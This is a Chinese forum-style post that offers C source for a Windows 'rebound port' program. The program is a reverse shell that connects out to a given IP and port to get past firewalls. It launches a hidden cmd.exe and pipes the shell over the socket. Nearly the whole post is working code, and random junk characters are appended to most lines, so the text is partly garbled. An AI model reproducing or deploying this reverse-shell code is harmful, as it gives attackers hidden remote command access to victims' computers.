这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1 9CK+;b
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/* ============================== qXwPDq/
Rebound port in Windows NT &mx)~J^m
By wind,2006/7 Dg?:/=,=9r
===============================*/ v'3J.?N
#include v%iflCK
#include \:UIc*S
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#pragma comment(lib,"wsock32.lib") Uw7h=UQh
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void OutputShell(); MpR2]k#n<
SOCKET sClient; HKUn`ng
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &:`U&06q
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void main(int argc,char **argv) #n8IZ3+
{ &*aIEa^
WSADATA stWsaData; w}YlVete
int nRet; Nb'''W-iu
SOCKADDR_IN stSaiClient,stSaiServer; V]db'qB\
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if(argc != 3) ?snp8W-WB
{ 4v{o
printf("Useage:\n\rRebound DestIP DestPort\n"); Ob<{G"
return; :Nz2z[W$
} jJPGrkr
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WSAStartup(MAKEWORD(2,2),&stWsaData); gK'1ZLdZ2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; cHk)i
stSaiClient.sin_port = htons(0); AiO$<CS
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }WH&iES@P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ 1 P!Yxeh
printf("Bind Socket Failed!\n"); Yz+ZY
return; rr02pM0
} M,\:<kNI
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stSaiServer.sin_family = AF_INET; b?lD(fa&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =h5H~G5AT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]z/8KL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Tq[kl'_
{ lSVp%0jR
printf("Connect Error!"); fO[+LR
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return; 2`N,,
} I$Op:P6.E
OutputShell(); %/zbgS`
} }%{LJ}\Px
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void OutputShell() TI,&!E?;
{ FwkuC09tI
char szBuff[1024]; HOJs[mqB%
SECURITY_ATTRIBUTES stSecurityAttributes; Ku}Z
OSVERSIONINFO stOsversionInfo; ^<a
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gL*>[@RO
STARTUPINFO stStartupInfo; _8F`cuyW
char *szShell; aGtf z)
PROCESS_INFORMATION stProcessInformation; oF1,QQ^dg
unsigned long lBytesRead; D!Pq4'd(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _n50C"X=&(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?!d&E?9\
stSecurityAttributes.lpSecurityDescriptor = 0; _C*fs<#
stSecurityAttributes.bInheritHandle = TRUE; :2rZcoNb.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eoG$.M"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I%j|D#qY:T
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 87
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fY51:0{
stStartupInfo.wShowWindow = SW_HIDE; &;[Io
stStartupInfo.hStdInput = hReadPipe; gv-xm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yy i#Mo
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GetVersionEx(&stOsversionInfo); YA_c
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switch(stOsversionInfo.dwPlatformId) zck#tht4
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{ CR"|^{G
case 1: 1AM!8VR2
szShell = "command.com"; $!-c-0ub
break; R6kD=JY/!
default: r") `Ph@yp
szShell = "cmd.exe"; K<SyC54
break; ( u\._Gwsx
} _u5#v0Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Mh:L$f0A%O
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send(sClient,szMsg,77,0); #*K}IBz
while(1) t4zkt!`B
{ 9=8iy
w
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lhAX;s&9
if(lBytesRead) t\~P:"
{ |y!=J$$_H
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (a.z9nqGA
send(sClient,szBuff,lBytesRead,0); w[zjerH3
} =hC,@R>;
else diL+:H
{ 1{ ~#H<K
lBytesRead=recv(sClient,szBuff,1024,0); p.v0D:@&
if(lBytesRead<=0) break; Q kEvw<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `1$@|FgyC
} mS$j?>m
} tl,.fjZn
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return; bLij7K2H
}